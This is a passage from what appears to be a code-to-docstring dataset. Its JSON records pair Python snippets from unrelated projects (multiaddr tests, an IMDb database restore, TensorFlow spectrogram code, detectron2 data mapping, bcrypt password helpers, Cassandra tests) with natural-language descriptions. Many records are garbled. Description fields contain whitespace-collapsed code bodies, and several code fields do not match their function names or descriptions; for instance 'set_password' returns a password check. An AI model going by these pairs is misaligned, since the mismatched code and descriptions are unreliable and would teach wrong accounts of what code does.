timeout.Aliases: interactive, interaction"} {"code": "def test_multiaddr_correctness():\n maddr_str = \"/dns4/\" + HOST + \"/tcp/\" + str(PORT) + \"/p2p/\"\n maddr = MultiAddr.from_string(maddr_str + PEER_ID)\n assert maddr.host == HOST and maddr.port == PORT and maddr.peer_id == PEER_ID\n\n with pytest.raises(ValueError):\n MultiAddr.from_string(\"\")\n\n with pytest.raises(ValueError):\n MultiAddr.from_string(maddr_str + \"wrong-peer-id\")", "nl": "Test multiaddress correctness.tmpdir = tempfile.mkdtemp()key_file = tmpdir + \"/key\"with open(key_file, \"w+\") as k:k.write(PRIV_KEY)key = make_crypto(DEFAULT_LEDGER, private_key_path=key_file)maddr = MultiAddr(HOST, PORT, key.public_key)rmtree(tmpdir)assert maddr._peerid == PEER_IDdef test_multiaddr_from_string():Test multiaddress from string"} {"code": "def config_advertisement():\n mac_address = get_mac()\n xbee.atcmd(AT_CMD_BI, \"%s%s\" % (ADVERT_PREFIX, mac_address[-8:]))\n xbee.atcmd(AT_CMD_WR)\n\n", "nl": "Configures the Bluetooth advertisement name of the device."} {"code": "def set_pos(self, position):\n pass\n", "nl": "Set the position of the anchor in the orbit reference frame.:param position: The new position"} {"code": "def restoreImdbIDs(cls):\n items = list(batch)\n case_clause = ' '.join(\"WHEN '%s' THEN %s\" % (k, v) for k, v in items)\n where_clause = ', '.join(\"'%s'\" % x[0] for x in items)\n success = _executeQuery(query % (case_clause, where_clause))\n if success:\n return len(items)\n return 0\n for batch in iterbatch(iter(db.items()), 10000):\n count += _restore(sql, batch)\n print('DONE! (restored %d entries out of %d)' % (count, len(db)))\n t('restore %s' % cname)\n db.close()\n return\n\n", "nl": "Restore imdbIDs for movies, people, companies and characters.if cls is Title:cname = 'movies'elif cls is Name:cname = 'people'elif cls is CompanyName:cname = 'companies'else:cname = 'characters'print('RESTORING imdbIDs values for %s...' % cname, end=' ')sys.stdout.flush()table_name = tableName(cls)md5sum_col = colName(cls, 'md5sum')imdbID_col = colName(cls, 'imdbID')if _get_imdbids_method() == 'table':try:try:CURS.execute('SELECT * FROM %s_extract LIMIT 1' % table_name)except Exception as e:raise Exception('missing \"%s_extract\" table (ok if this is the first run)' % table_name)if DB_NAME == 'mysql':query = 'UPDATE %s INNER JOIN %s_extract USING (%s) SET %s.%s = %s_extract.%s' % \\(table_name, table_name, md5sum_col,table_name, imdbID_col, table_name, imdbID_col)else:query = 'UPDATE %s SET %s = %s_extract.%s FROM %s_extract WHERE %s.%s = %s_extract.%s' % \\(table_name, imdbID_col, table_name,imdbID_col, table_name, table_name,md5sum_col, table_name, md5sum_col)CURS.execute(query)affected_rows = 'an unknown number of'try:CURS.execute('SELECT COUNT(*) FROM %s WHERE %s IS NOT NULL' %(table_name, imdbID_col))affected_rows = (CURS.fetchone() or [0])[0]except Exception as e:passrows = _countRows('%s_extract' % table_name)print('DONE! (restored %s entries out of %d)' % (affected_rows, rows))t('restore %s' % cname)try:CURS.execute('DROP TABLE %s_extract' % table_name)except:passreturnexcept Exception as e:print('INFO: unable to restore imdbIDs using the temporary table (falling back to dbm): %s' % e)try:db = dbm.open(_imdbIDsFileName('%s_imdbIDs.db' % cname), 'r')except Exception as e:print('INFO: unable to restore imdbIDs (ok if this is the first run)')returncount = 0sql = \"UPDATE \" + table_name + \" SET \" + imdbID_col + \\\" = CASE \" + md5sum_col + \" %s END WHERE \" + \\md5sum_col + \" IN (%s)\"def _restore(query, batch):Execute a query to restore a batch of imdbIDs"} {"code": "def sample_actions(self, output, actions=None, greedy=False):\n kl = []\n for i, (act_dim, act_type) in enumerate(self.env_spec.act_dims_and_types):\n sampling_dim = self.env_spec.sampling_dim(act_dim, act_type)\n single_my_logits = my_logits[i]\n single_other_logits = other_logits[i]\n if self.env_spec.is_discrete(act_type):\n my_probs = tf.nn.softmax(single_my_logits)\n my_log_probs = tf.nn.log_softmax(single_my_logits)\n other_log_probs = tf.nn.log_softmax(single_other_logits)\n my_kl = tf.reduce_sum(my_probs * (my_log_probs - other_log_probs), -1)\n elif self.env_spec.is_box(act_type):\n my_means = single_my_logits[:, :sampling_dim / 2]\n my_std = single_my_logits[:, sampling_dim / 2:]\n other_means = single_other_logits[:, :sampling_dim / 2]\n other_std = single_other_logits[:, sampling_dim / 2:]\n my_kl = tf.reduce_sum(\n tf.log(other_std / my_std) +\n (tf.square(my_std) + tf.square(my_means - other_means)) /\n (2.0 * tf.square(other_std)) - 0.5,\n -1)\n else:\n assert False\n\n kl.append(my_kl)\n\n return kl\n", "nl": "Sample all actions given output of core network.sampled_actions = []logits = []log_probs = []entropy = []self_kl = []start_idx = 0for i, (act_dim, act_type) in enumerate(self.env_spec.act_dims_and_types):sampling_dim = self.env_spec.sampling_dim(act_dim, act_type)if self.fixed_std and self.env_spec.is_box(act_type):act_logits = output[:, start_idx:start_idx + act_dim]log_std = tf.get_variable('std%d' % i, [1, sampling_dim // 2])# fix standard deviations to variableact_logits = tf.concat([act_logits,1e-6 + tf.exp(log_std) + 0 * act_logits], 1)else:act_logits = output[:, start_idx:start_idx + sampling_dim]if actions is None:act = self.sample_action(act_logits, sampling_dim,act_dim, act_type,greedy=greedy)else:act = actions[i]ent = self.entropy(act_logits, sampling_dim, act_dim, act_type)kl = self.self_kl(act_logits, sampling_dim, act_dim, act_type)act_log_prob = self.log_prob_action(act, act_logits,sampling_dim, act_dim, act_type)sampled_actions.append(act)logits.append(act_logits)log_probs.append(act_log_prob)entropy.append(ent)self_kl.append(kl)start_idx += sampling_dimassert start_idx == self.env_spec.total_sampling_act_dimreturn sampled_actions, logits, log_probs, entropy, self_kldef get_kl(self, my_logits, other_logits):Calculate KL between one policy output and another."} {"code": "def get_mapping(self, uuid):\n\n @abc.abstractmethod", "nl": "Return a mapping object.:param uuid: UUID of the mapping to get."} {"code": "def load_obj(filename_obj, normalization=False, load_texture=False, texture_res=4, texture_type='surface'):\n\n assert texture_type in ['surface', 'vertex']\n\n vertices = []\n with open(filename_obj) as f:\n lines = f.readlines()\n\n for line in lines:\n if len(line.split()) == 0:\n continue\n if line.split()[0] == 'v':\n vertices.append([float(v) for v in line.split()[1:4]])\n vertices = torch.from_numpy(np.vstack(vertices).astype(np.float32)).cuda()\n\n faces = []\n for line in lines:\n if len(line.split()) == 0:\n continue\n if line.split()[0] == 'f':\n vs = line.split()[1:]\n nv = len(vs)\n v0 = int(vs[0].split('/')[0])\n for i in range(nv - 2):\n v1 = int(vs[i + 1].split('/')[0])\n v2 = int(vs[i + 2].split('/')[0])\n faces.append((v0, v1, v2))\n faces = torch.from_numpy(np.vstack(faces).astype(np.int32)).cuda() - 1\n\n if load_texture and texture_type == 'surface':\n textures = None\n for line in lines:\n if line.startswith('mtllib'):\n filename_mtl = os.path.join(os.path.dirname(filename_obj), line.split()[1])\n textures = load_textures(filename_obj, filename_mtl, texture_res)\n if textures is None:\n raise Exception('Failed to load textures.')\n elif load_texture and texture_type == 'vertex':\n textures = []\n for line in lines:\n if len(line.split()) == 0:\n continue\n if line.split()[0] == 'v':\n textures.append([float(v) for v in line.split()[4:7]])\n textures = torch.from_numpy(np.vstack(textures).astype(np.float32)).cuda()\n\n if normalization:\n vertices -= vertices.min(0)[0][None, :]\n vertices /= torch.abs(vertices).max()\n vertices *= 2\n vertices -= vertices.max(0)[0][None, :] / 2\n\n if load_texture:\n return vertices, faces, textures\n else:\n return vertices, faces", "nl": "Load Wavefront .obj file.This function only supports vertices (v x x x) and faces (f x x x)."} {"code": "def sequence_embed(embed, xs, dropout=0.0):\n x_len = [len(x) for x in xs]\n x_section = np.cumsum(x_len[:-1])\n ex = embed(F.concat(xs, axis=0))\n ex = F.dropout(ex, ratio=dropout)\n exs = F.split_axis(ex, x_section, 0)\n return exs\n\n", "nl": "Efficient embedding function for variable-length sequencesThis output is equally to\"return [F.dropout(embed(x), ratio=dropout) for x in xs]\".However, calling the functions is one-shot and faster.Args:embed (callable): A :func:`~chainer.functions.embed_id` functionor :class:`~chainer.links.EmbedID` link.xs (list of :class:`~chainer.Variable` or :class:`numpy.ndarray` or \\:class:`cupy.ndarray`): i-th element in the list is an input variable,which is a :math:`(L_i, )`-shaped int array.dropout (float): Dropout ratio.Returns:list of ~chainer.Variable: Output variables. i-th element in thelist is an output variable, which is a :math:`(L_i, N)`-shapedfloat array. :math:`(N)` is the number of dimensions of word embedding."} {"code": "def waveform_to_log_mel_spectrogram_patches(waveform, params):\n min_waveform_seconds = (\n params.patch_window_seconds +\n params.stft_window_seconds - params.stft_hop_seconds)\n min_num_samples = tf.cast(min_waveform_seconds * params.sample_rate, tf.int32)\n num_samples = tf.shape(waveform)[0]\n num_padding_samples = tf.maximum(0, min_num_samples - num_samples)\n\n num_samples = tf.maximum(num_samples, min_num_samples)\n num_samples_after_first_patch = num_samples - min_num_samples\n hop_samples = tf.cast(params.patch_hop_seconds * params.sample_rate, tf.int32)\n num_hops_after_first_patch = tf.cast(tf.math.ceil(\n tf.cast(num_samples_after_first_patch, tf.float32) /\n tf.cast(hop_samples, tf.float32)), tf.int32)\n num_padding_samples += (\n hop_samples * num_hops_after_first_patch - num_samples_after_first_patch)\n\n padded_waveform = tf.pad(waveform, [[0, num_padding_samples]],\n mode='CONSTANT', constant_values=0.0)\n return padded_waveform\n\n", "nl": "Compute log mel spectrogram patches of a 1-D waveform.with tf.name_scope('log_mel_features'):# waveform has shape [<# samples>]# Convert waveform into spectrogram using a Short-Time Fourier Transform.# Note that tf.signal.stft() uses a periodic Hann window by default.window_length_samples = int(round(params.sample_rate * params.stft_window_seconds))hop_length_samples = int(round(params.sample_rate * params.stft_hop_seconds))fft_length = 2 ** int(np.ceil(np.log(window_length_samples) / np.log(2.0)))num_spectrogram_bins = fft_length // 2 + 1if params.tflite_compatible:magnitude_spectrogram = _tflite_stft_magnitude(signal=waveform,frame_length=window_length_samples,frame_step=hop_length_samples,fft_length=fft_length)else:magnitude_spectrogram = tf.abs(tf.signal.stft(signals=waveform,frame_length=window_length_samples,frame_step=hop_length_samples,fft_length=fft_length))# magnitude_spectrogram has shape [<# STFT frames>, num_spectrogram_bins]# Convert spectrogram into log mel spectrogram.linear_to_mel_weight_matrix = tf.signal.linear_to_mel_weight_matrix(num_mel_bins=params.mel_bands,num_spectrogram_bins=num_spectrogram_bins,sample_rate=params.sample_rate,lower_edge_hertz=params.mel_min_hz,upper_edge_hertz=params.mel_max_hz)mel_spectrogram = tf.matmul(magnitude_spectrogram, linear_to_mel_weight_matrix)log_mel_spectrogram = tf.math.log(mel_spectrogram + params.log_offset)# log_mel_spectrogram has shape [<# STFT frames>, params.mel_bands]# Frame spectrogram (shape [<# STFT frames>, params.mel_bands]) into patches# (the input examples). Only complete frames are emitted, so if there is# less than params.patch_window_seconds of waveform then nothing is emitted# (to avoid this, zero-pad before processing).spectrogram_hop_length_samples = int(round(params.sample_rate * params.stft_hop_seconds))spectrogram_sample_rate = params.sample_rate / spectrogram_hop_length_samplespatch_window_length_samples = int(round(spectrogram_sample_rate * params.patch_window_seconds))patch_hop_length_samples = int(round(spectrogram_sample_rate * params.patch_hop_seconds))features = tf.signal.frame(signal=log_mel_spectrogram,frame_length=patch_window_length_samples,frame_step=patch_hop_length_samples,axis=0)# features has shape [<# patches>, <# STFT frames in an patch>, params.mel_bands]return log_mel_spectrogram, featuresdef pad_waveform(waveform, params):Pads waveform with silence if needed to get an integral number of patches."} {"code": "def _set(self, key):\n self.redis.set(name=key, value='', ex=CACHE_TTL * 60 * 60)", "nl": "Method to set `key` with `value` in redis.Key expires after CACHE_TTL days (`ex` in seconds).:param key: The `key` (thing_id) to be added to redis cache."} {"code": "def SIM_assertion_error_test(self):\n cursor = self.prepare()\n\n cursor.execute(\"\"\"\n\n cursor.execute(\"create index sessionAppName ON session_data (app_name)\")\n cursor.execute(\"create index lastAccessIndex ON session_data (last_access)\")\n\n for is_upgraded, cursor in self.do_upgrade(cursor):\n debug(\"Querying {} node\".format(\"upgraded\" if is_upgraded else \"old\"))\n cursor.execute(\"TRUNCATE session_data\")\n\n assert_one(cursor, \"select count(*) from session_data where app_name='foo' and account='bar' and last_access > 4 allow filtering\", [0])\n\n cursor.execute(\"insert into session_data (username, session_id, app_name, account, last_access, created_on) values ('toto', 'foo', 'foo', 'bar', 12, 13)\")\n\n assert_one(cursor, \"select count(*) from session_data where app_name='foo' and account='bar' and last_access > 4 allow filtering\", [1])\n", "nl": "Test for bogus logic in hasIndexFor when there is more than one searcher and thatall internal indexes are grouped properly in getIndexSearchersForQuery.@jira_ticket CASSANDRA-6612"} {"code": "def bool_value(self):\n return bool(self.elts)\n\n @abc.abstractmethod", "nl": "Determine the boolean value of this node.:returns: The boolean value of this node.:rtype: bool or Uninferable"} {"code": "def set_password(self, password):\n return bcrypt.check_password_hash(self.password, password)\n", "nl": "Convert the password to cryptograph via flask-bcryptreturn bcrypt.generate_password_hash(password)def check_password(self, password):Check the entry-password whether as same as user.password."} {"code": "def is_remote_mitm_server(self, host, port):\n local_v4, local_v6 = util.get_interface_addresses()\n if host in local_v4 or host in local_v6:\n for socket in self._local_server_sockets:\n local = socket.getsockname()\n if local[1] == port:\n return True\n return False\n", "nl": "Check if the remote host:port is one of the MiTM server sockets.These connections should be avoided otherwise loops can be created wherethe MiTM tries to connect to the MiTM which then sees the remote as the MiTMand tries to connection and so on. This is best effort only, routing can stillcause these loops.Returns if host:port belongs to one of the server sockets."} {"code": "def _textToWeb(self, s, testText='One\\n\\nTwo\\n\\nThree', checkText=True):\n self.testText = testText\n self._doBasicTest('rst')\n index = self.testText.index(s)\n self._dock().previewSync._cursorMovementTimer.setInterval(0)\n self._dock().previewSync._moveTextPaneToIndex(0)\n assert index != 0\n try:\n self._dock().previewSync._unitTest = True\n with base.WaitForSignal(self._dock().previewSync.textToPreviewSynced,\n 3500):\n self._dock().previewSync._moveTextPaneToIndex(index, False)\n finally:\n self._dock().previewSync._unitTest = False\n wfc = WaitForCallback()\n self._widget().webEngineView.page().runJavaScript('window.getSelection().toString();', wfc.callback())\n\n webPageText = wfc.getCallbackReturn[0].strip().split('\\n')[-1]\n if checkText:\n self.assertEqual(self.testText[:index].strip().split('\\n')[-1], webPageText)\n return webPageText\n\n @requiresModule('docutils')\n @base.inMainLoop", "nl": "Move the cursor in the text pane. Make sure it movesto the matching location in the web pane.Params:- s: The string in the text pane to click before.- testText: The ReST string to use.- checkText: True if the text hilighted in the web dock should becompared to the text in s.Return:The plain text rendering of the web page text of the line containing s, up to the point in that line where s was matched."} {"code": "def test_programversion_print_beta(self):\n version_string = \"1.0.0b1\"\n version_object = ec2rlcore.programversion.ProgramVersion(version_string)\n self.assertEqual(str(version_object), version_string)\n", "nl": "Test that ProgramVersion.__str__ returns the expected string representation of the ProgramVersion whoserelease type is 'beta'."} {"code": "def _coarse_decoder_pass(self, mel_specs, encoder_outputs, alignments, input_mask):\n if isinstance(style_input, dict):\n query = torch.zeros(1, 1, self.gst.gst_embedding_dim // 2).type_as(inputs)\n if speaker_embedding is not None:\n query = torch.cat([query, speaker_embedding.reshape(1, 1, -1)], dim=-1)\n\n _GST = torch.tanh(self.gst_layer.style_token_layer.style_tokens)\n gst_outputs = torch.zeros(1, 1, self.gst.gst_embedding_dim).type_as(inputs)\n for k_token, v_amplifier in style_input.items():\n key = _GST[int(k_token)].unsqueeze(0).expand(1, -1, -1)\n gst_outputs_att = self.gst_layer.style_token_layer.attention(query, key)\n gst_outputs = gst_outputs + gst_outputs_att * v_amplifier\n elif style_input is None:\n gst_outputs = torch.zeros(1, 1, self.gst.gst_embedding_dim).type_as(inputs)\n else:\n gst_outputs = self.gst_layer(style_input, speaker_embedding)\n inputs = self._concat_speaker_embedding(inputs, gst_outputs)\n return inputs\n", "nl": "Double Decoder ConsistencyT = mel_specs.shape[1]if T % self.coarse_decoder.r > 0:padding_size = self.coarse_decoder.r - (T % self.coarse_decoder.r)mel_specs = torch.nn.functional.pad(mel_specs, (0, 0, 0, padding_size, 0, 0))decoder_outputs_backward, alignments_backward, _ = self.coarse_decoder(encoder_outputs.detach(), mel_specs, input_mask)# scale_factor = self.decoder.r_init / self.decoder.ralignments_backward = torch.nn.functional.interpolate(alignments_backward.transpose(1, 2),size=alignments.shape[1],mode=\"nearest\",).transpose(1, 2)decoder_outputs_backward = decoder_outputs_backward.transpose(1, 2)decoder_outputs_backward = decoder_outputs_backward[:, :T, :]return decoder_outputs_backward, alignments_backward############################## EMBEDDING FUNCTIONS#############################def compute_gst(self, inputs, style_input, speaker_embedding=None):Compute global style token"} {"code": "def __call__(self, dataset_dict):\n assert self.is_train, \"MaskFormerPanopticDatasetMapper should only be used for training!\"\n\n dataset_dict = copy.deepcopy(dataset_dict)\n image = utils.read_image(dataset_dict[\"file_name\"], format=self.img_format)\n utils.check_image_size(dataset_dict, image)\n\n if \"sem_seg_file_name\" in dataset_dict:\n sem_seg_gt = utils.read_image(dataset_dict.pop(\"sem_seg_file_name\")).astype(\"double\")\n else:\n sem_seg_gt = None\n\n if \"pan_seg_file_name\" in dataset_dict:\n pan_seg_gt = utils.read_image(dataset_dict.pop(\"pan_seg_file_name\"), \"RGB\")\n segments_info = dataset_dict[\"segments_info\"]\n else:\n pan_seg_gt = None\n segments_info = None\n\n if pan_seg_gt is None:\n raise ValueError(\n \"Cannot find 'pan_seg_file_name' for panoptic segmentation dataset {}.\".format(\n dataset_dict[\"file_name\"]\n )\n )\n\n aug_input = T.AugInput(image, sem_seg=sem_seg_gt)\n aug_input, transforms = T.apply_transform_gens(self.tfm_gens, aug_input)\n image = aug_input.image\n if sem_seg_gt is not None:\n sem_seg_gt = aug_input.sem_seg\n\n pan_seg_gt = transforms.apply_segmentation(pan_seg_gt)\n\n from panopticapi.utils import rgb2id\n\n pan_seg_gt = rgb2id(pan_seg_gt)\n\n image = torch.as_tensor(np.ascontiguousarray(image.transpose(2, 0, 1)))\n if sem_seg_gt is not None:\n sem_seg_gt = torch.as_tensor(sem_seg_gt.astype(\"long\"))\n pan_seg_gt = torch.as_tensor(pan_seg_gt.astype(\"long\"))\n\n if self.size_divisibility > 0:\n image_size = (image.shape[-2], image.shape[-1])\n padding_size = [\n 0,\n self.size_divisibility - image_size[1],\n 0,\n self.size_divisibility - image_size[0],\n ]\n image = F.pad(image, padding_size, value=128).contiguous()\n if sem_seg_gt is not None:\n sem_seg_gt = F.pad(sem_seg_gt, padding_size, value=self.ignore_label).contiguous()\n pan_seg_gt = F.pad(\n pan_seg_gt, padding_size, value=0\n ).contiguous()\n\n image_shape = (image.shape[-2], image.shape[-1])\n\n dataset_dict[\"image\"] = image\n if sem_seg_gt is not None:\n dataset_dict[\"sem_seg\"] = sem_seg_gt.long()\n\n if \"annotations\" in dataset_dict:\n raise ValueError(\"Pemantic segmentation dataset should not have 'annotations'.\")\n\n pan_seg_gt = pan_seg_gt.numpy()\n instances = Instances(image_shape)\n classes = []\n masks = []\n for segment_info in segments_info:\n class_id = segment_info[\"category_id\"]\n if not segment_info[\"iscrowd\"]:\n classes.append(class_id)\n masks.append(pan_seg_gt == segment_info[\"id\"])\n\n classes = np.array(classes)\n instances.gt_classes = torch.tensor(classes, dtype=torch.int64)\n if len(masks) == 0:\n instances.gt_masks = torch.zeros((0, pan_seg_gt.shape[-2], pan_seg_gt.shape[-1]))\n else:\n masks = BitMasks(\n torch.stack([torch.from_numpy(np.ascontiguousarray(x.copy())) for x in masks])\n )\n instances.gt_masks = masks.tensor\n\n dataset_dict[\"instances\"] = instances\n\n return dataset_dict", "nl": "Args:dataset_dict (dict): Metadata of one image, in Detectron2 Dataset format.Returns:dict: a format that builtin models in detectron2 accept"} {"code": "def fetch_aws_canonical_ids(override):\n app.logger.info(\"[ ] Fetching S3 canonical IDs for all AWS accounts being monitored by Security Monkey.\")\n\n accounts = Account.query.filter(Account.active == True) \\\n .join(AccountType).filter(AccountType.name == \"AWS\").all()\n\n get_canonical_ids(accounts, override=override)\n\n app.logger.info(\"[@] Completed canonical ID fetching.\")\n\n\n@manager.command", "nl": "Adds S3 canonical IDs in for all AWS accounts in SM."} {"code": "def newTaskManager(self):\n self.taskMgrStarted = True\n if self.miniTaskMgr.running:\n self.miniTaskMgr.stop()\n\n from direct.task.TaskManagerGlobal import taskMgr\n taskMgr.remove('miniTaskManager')\n taskMgr.add(self._stepMiniTaskManager, 'miniTaskManager')\n", "nl": " A derived class should call this, for instance instartGame, as soon as the main task manager can be safelycreated. "} {"code": "def _cmp(self, rhs, op):\n t = self\n if self._frame != rhs._frame:\n t = self.convert(rhs._frame)\n\n if t._jd != rhs._jd:\n return op(t._jd, rhs._jd)\n\n return op(t._seconds, rhs._seconds)\n", "nl": "Compare two Epoch's.= INPUT VARIABLES- rhs The Epoch to compare against.- op The function to do the comparison= RETURN VALUE- Returns op(self, rhs)"} {"code": "def retrieval_eval_collate(data):\n sent, att_feats, img_masks, box_feats, img_ids = list(zip(*data))\n", "nl": "Creates mini-batch tensors from the list of tuples (src_seq, trg_seq).# separate source and target sequencestext, text_length,segmentt_ids,img, img_loc, _label = list(zip(*data))_inputs = [torch.stack(text,dim=0),torch.stack(text_length,dim=0),torch.stack(segmentt_ids,dim=0),torch.stack(img, dim=0).view(-1, 100, img[0].size()[-1]),torch.stack(img_loc, dim=0).view(-1, 100, img_loc[0].size()[-1]),torch.stack(_label, dim=0)]return _inputsdef caption_collate(data):Creates mini-batch tensors from the list of tuples (src_seq, trg_seq)."} {"code": "def file_upload_dialog_timeout(self):\n Sets the options File Upload Dialog Timeout value\n\n :Args:\n - value: Timeout in milliseconds\n\n \"\"\"", "nl": " Returns the options File Upload Dialog Timeout in milliseconds return self._options.get(self.FILE_UPLOAD_DIALOG_TIMEOUT)@file_upload_dialog_timeout.setterdef file_upload_dialog_timeout(self, value):"} {"code": "def is_set(self):\n\n Calling `.wait` once the flag is set will not block.\n \"\"\"", "nl": "Return ``True`` if the internal flag is true.return self._valuedef set(self):Set the internal flag to ``True``. All waiters are awakened."} {"code": "def test_binary_op_custom_class(self):\n astng = builder.string_build(code, __name__, __file__)\n infered = list(astng.igetattr('x'))\n self.assertEqual(len(infered), 2)\n value = [str(v) for v in infered]\n self.assertEqual(value, ['Instance of %s.myarray' % __name__,\n 'Instance of %s.int' % BUILTINS_NAME])\n", "nl": "code = class myarray:def __init__(self, array):self.array = arraydef __mul__(self, x):return myarray([2,4,6])def astype(self):return \"ASTYPE\"def randint(maximum):if maximum is not None:return myarray([1,2,3]) * 2else:return int(5)x = randint(1)"} {"code": "def init(self):\n for layer in self.layers:\n layer.init()\n", "nl": "Iinitialization layers"} {"code": "def untar(filename: str, ext_path: str) -> None:\n if os.path.exists(ext_path):\n rmtree(ext_path)\n\n temp_ext_path = mkdtemp(prefix='ulauncher_dl_')\n\n with tarfile.open(filename, mode=\"r\") as archive:\n archive.extractall(temp_ext_path)\n\n for dir in os.listdir(temp_ext_path):\n move(os.path.join(temp_ext_path, dir), ext_path)\n return\n\n", "nl": "1. Remove ext_path2. Extract tar into temp dir3. Move contents of /-master/* to ext_path"} {"code": "def test_flag_bounds(self):\n tst = IP(flags = 8)\n with self.assertRaises(IndexError):\n tst.show()\n tst = IP(flags = -1)\n with self.assertRaises(IndexError):\n tst.show()\n tst = TCP(flags = 256)\n with self.assertRaises(IndexError):\n tst.show()\n tst = TCP(flags = -1)\n with self.assertRaises(IndexError):\n tst.show()\n", "nl": "This test ensures that the show function fails when a flag value thatexceeds the bounds of a given FlagField is or exceeds the result of2 ^ (FlagField length value). Thus ensuring that the logic used togenerate values for FlagField type fields holds."} {"code": "def write_config(self, config_file, module_list):\n self.logger.debug(\"self.options.write_config({})\".format(config_file))\n\n config = configparser.ConfigParser(allow_no_value=True)\n\n self.logger.debug(\"Adding section: {}\".format(\"Global\"))\n config.add_section(\"Global\")\n for constraint_name in self.global_args:\n constraint_value = self.global_args[constraint_name]\n self.logger.debug(\"Adding [Global] - {} = {}\".format(constraint_name, constraint_value))\n config.set(\"Global\", constraint_name, constraint_value)\n\n for mod in module_list:\n try:\n self.logger.debug(\"Adding section: {}\".format(mod.name))\n config.add_section(mod.name)\n for value in mod.constraint[\"required\"]:\n key = \"\n self.logger.debug(\"Adding [{}] - {}\".format(mod.name, key))\n config.set(mod.name, key)\n for value in mod.constraint[\"optional\"]:\n key = \"\n self.logger.debug(\"Adding [{}] - {}\".format(mod.name, key))\n config.set(mod.name, key)\n if not config.options(mod.name):\n self.logger.debug(\"Adding [{}] -\n config.set(mod.name, \"\n except configparser.DuplicateSectionError:\n raise OptionsInvalidModuleName()\n\n if self.per_module_args:\n self.logger.debug(\"Inside: 'if self.per_module_args'\")\n for module_name in self.per_module_args:\n if module_name == \"Global\":\n continue\n if module_name not in config.sections():\n self.logger.debug(\"Adding section: {}\".format(module_name))\n config.add_section(module_name)\n for constraint_name in self.per_module_args[module_name]:\n constraint_value = self.per_module_args[module_name][constraint_name]\n self.logger.debug(\"Adding [{}] - {} = {}\".format(module_name, constraint_name, constraint_value))\n config.set(module_name, constraint_name, constraint_value)\n expanded_config_file = os.path.expanduser(os.path.expandvars(config_file))\n self.logger.debug(\"Config file path expanded to: '{}')\".format(expanded_config_file))\n with open(expanded_config_file, \"w\") as configfile:\n config.write(configfile)\n return config\n\n\nclass OptionsError(Exception):\n \"\"\"Base class for exceptions in this module.\"\"\"", "nl": "Write a configuration file containing the data in self.per_module_args.Parameters:config_file (str): the path to the ConfigParser configuration filemodule_list (ModuleDir) : the list-like object of the modulesReturns:config (ConfigParser): the resultant ConfigParser with the module sections"} {"code": "def isRegionValid(self):\n\n If the region equals to all visible screens, returns Screen(-1).\n If the region is visible on multiple screens, returns the screen with the smallest ID.\n Returns None if the region is outside the screen.\n \"\"\"", "nl": " Returns false if the whole region is not even partially inside any screen, otherwise true screens = PlatformManager.getScreenDetails()for screen in screens:s_x, s_y, s_w, s_h = screen[\"rect\"]if self.x+self.w >= s_x and s_x+s_w >= self.x and self.y+self.h >= s_y and s_y+s_h >= self.y:# Rects overlapreturn Truereturn Falsedef clipRegionToScreen(self): Returns the part of the region that is visible on a screen"} {"code": "def save(self, path):\n th.save(self._storage, path)\n", "nl": "**Description**Serializes and saves the ExperienceReplay into the given path.**Arguments*** **path** (str) - File path.**Example**~~~pythonreplay.save('my_replay_file.pt')~~~"} {"code": "def Params(cls):\n super().__init__(params)\n p = self.params\n assert p.name\n\n assert p.num_classes % p.num_shards == 0\n if not p.use_bias:\n assert p.num_sampled == 0, 'Sampled softmax requires bias.'\n\n if p.num_shards == 1:\n self.TrackQWeight(\n 'weight_0',\n shape=[p.input_dim, p.num_classes],\n feature_axis=-1,\n legacy_aqt_weight_name='softmax_aqt')\n self.compression_ops = []\n", "nl": "Params for SimpleFullSoftmax.p = super().Params()p.Define('num_sampled', 0, 'Number of samples to use for the sampled soft-max. ''Default value of 0 means no sampling is done; if set to > 0 then ''training will use sampled soft-max when both chunk_size == 0 and ''FProp is called with class_probabilities=None.')p.Define('num_shards', 1,'Number of shards to split params into. num_shards should'' divide num_classes.')p.Define('apply_pruning', False,'Whether to prune the weights while training')p.Define('pruning_hparams_dict', None,'Pruning related hyperparameters. A dict with hyperparameter: value''pairs. See google-research.model_pruning.')p.Define('use_num_classes_major_weight', False,'Whether to use num_classes as major dimension for weight params. ''This shows performance benefit especially when sharing embedding ''and softmax. By removing the transpose before gather, it allows ''better XLA fusions and optimizations.')p.Define('use_bias', True, 'Whether or not to use a bias variable.''Not using bias is not compatible with sampled softmax ''(num_sampled > 0).')p.Define('bias_init', 0, 'Weight initialization constant for bias.')p.qdomain.Define('b_compression', None,'QDomain params for the b_matrix introduced by input/output ''compression. The configuration of p.qdomain.default will be used if ''this is set to None.')p.qdomain.Define('c_compression', None,'QDomain params for the b_matrix introduced by input/output ''compression. The configuration of p.qdomain.default will be used if ''this is set to None.')p.qdomain.Define('d_compression', None,'QDomain params for the b_matrix introduced by input/output ''compression. The configuration of p.qdomain.default will be used if ''this is set to None.')return pdef __init__(self, params):Constructs a SimpleFullSoftmax layer."} {"code": "def export_model(self, filename):\n raise NotImplementedError()", "nl": "Saves learned model to file.Required to be overridden for learned models to persist.Parameters----------filename : str path to file to save model to"} {"code": "def test_template_course_detail_with_joanie_enabled(self):\n course = CourseFactory(code=\"01337\", should_publish=True)\n page = course.extended_object\n\n with self.assertTemplateUsed(\n \"courses/cms/fragment_course_products.html\",\n ):\n response = self.client.get(page.get_absolute_url())\n\n self.assertEqual(response.status_code, 200)\n self.assertContains(\n response, r'class=\"richie-react richie-react--course-products-list\"'\n )\n\n pattern = r\".*data-props=.*code.*01337.*\"\n\n self.assertIsNotNone(re.search(pattern, str(response.content)))", "nl": "When Joanie is enabled, course detail template should usefragment_course_products template to display the React widget in chargeof retrieve and display products related to the course"} {"code": "def domains_for_certname(config, certname):\n\n This function searches for certificates whose domains are equal to\n the `domains` parameter and certificates whose domains are a subset\n of the domains in the `domains` parameter. If multiple certificates\n are found whose names are a subset of `domains`, the one whose names\n are the largest subset of `domains` is returned.\n\n If multiple certificates' domains are an exact match or equally\n sized subsets, which matching certificates are returned is", "nl": "Find the domains in the cert with name certname.lineage = lineage_for_certname(config, certname)return lineage.names() if lineage else Nonedef find_duplicative_certs(config, domains):Find existing certs that match the given domain names."} {"code": "def get_perspective(self):\n ModuleSetting.set_for_module(", "nl": "Returns currently set Perspective for the Userids = []try:for setting in ModuleSetting.get_for_module('treeio.core', name='default_perspective', user=self):ids.append(long(setting.value))perspective_id = ids[0]perspective = get_object_or_404(Perspective, pk=perspective_id)except:try:perspective = self.default_group.get_perspective()except:try:conf = ModuleSetting.get_for_module('treeio.core', 'default_perspective')[0]perspective = Perspective.objects.get(pk=long(conf.value))except Exception:try:perspective = Perspective.objects.all()[0]except:perspective = 